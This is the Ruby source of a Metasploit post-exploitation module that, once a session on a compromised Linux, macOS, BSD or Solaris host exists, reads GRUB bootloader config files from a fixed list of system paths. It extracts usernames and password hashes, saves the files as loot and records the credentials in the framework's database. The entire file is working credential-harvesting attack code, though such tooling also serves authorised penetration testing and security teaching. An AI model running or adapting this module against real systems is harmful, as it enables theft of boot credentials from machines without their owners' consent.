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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Unix
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Gather GRUB Password',
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        'Description' => %q{
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          This module gathers GRUB passwords from GRUB bootloader config files.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Garvit Dewan <d.garvit[at]gmail.com>', # @dgarvit
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          'Taeber Rapczak <taeber[at]rapczak.com>',
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          'Shelby Pace'
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        ],
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        'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],
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        'SessionTypes' => ['meterpreter', 'shell'],
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        'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ]
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      )
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    )
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    register_options(
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      [
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        OptString.new(
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          'FILENAME',
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          [false, 'Additional grub configuration filename.', '']
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        ),
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      ]
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    )
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  end
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  def parse_passwd_from_file(file)
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    return unless readable?(file)
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    print_status("Reading #{file}")
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    idx = 0
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    contents = read_file(file)
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    have_pass = false
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    contents.each_line do |line|
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      next unless line.start_with?('password')
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      have_pass = true
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      pass_line = line.strip.split(' ')
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      unless pass_line.length == 3
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        print_status('Unknown Grub password convention. Printing line')
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        print_status(line)
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        next
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      end
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      convention = pass_line[0]
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      case convention
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      when 'password_pbkdf2'
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        @creds_hash[pass_line[1]] = pass_line[2]
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      when 'password'
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        if pass_line[1].start_with?('--')
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          @pass_hash[idx] = pass_line[2]
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          idx += 1
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        else
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          @creds_hash[pass_line[1]] = pass_line[2]
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        end
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      else
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        print_status('Unknown Grub password convention. Printing line')
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        print_status(line)
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      end
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    end
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    if have_pass
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      file_loc = store_loot('grub.config', 'text/plain', session, contents)
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      print_good("#{file} saved to #{file_loc}")
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    end
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  end
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  def run
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    @creds_hash = Hash.new
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    @pass_hash = Hash.new
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    targets = %w[
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      /boot/grub/grub.conf
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      /boot/grub/grub.cfg
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      /boot/grub/menu.lst
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      /boot/grub2/grub.cfg
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      /boot/grub2/user.cfg
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      /etc/grub.conf
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      /etc/grub/grub.cfg
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      /mnt/sysimage/boot/grub.conf
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      /mnt/boot/grub/grub.conf
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      /rpool/boot/grub/grub.cfg
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    ]
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    targets << datastore['FILENAME'] unless datastore['FILENAME'].empty?
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    dir('/etc/grub.d').each do |file|
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      path = '/etc/grub.d/' + file
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      targets << path if file?(path)
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    end
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    print_status('Searching for GRUB config files..')
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    targets.each do |target|
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      parse_passwd_from_file(target)
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    end
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    if @creds_hash.empty? && @pass_hash.empty?
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      print_bad('No passwords found in GRUB config files')
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    else
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      print_good('Found credentials')
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      cred_table = Rex::Text::Table.new(
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        'Header' => 'Grub Credential Table',
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        'Indent' => 1,
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        'Columns' => [ 'Username', 'Password' ]
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      )
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      @creds_hash.each do |user, pass|
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        credential_data = {
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          origin_type: :session,
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          post_reference_name: refname,
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          private_type: :nonreplayable_hash,
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          private_data: pass,
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          session_id: session_db_id,
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          username: user,
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          workspace_id: myworkspace_id
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        }
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        cred_table << [ user, pass ]
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        create_credential(credential_data)
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      end
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      @pass_hash.each do |_index, pass|
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        credential_data = {
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          origin_type: :session,
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          post_reference_name: refname,
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          private_type: :nonreplayable_hash,
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          private_data: pass,
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          session_id: session_db_id,
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          username: '',
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          workspace_id: myworkspace_id
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        }
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        cred_table << [ '', pass ]
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        create_credential(credential_data)
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      end
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      print_line
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      print_line(cred_table.to_s)
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    end
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  end
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end
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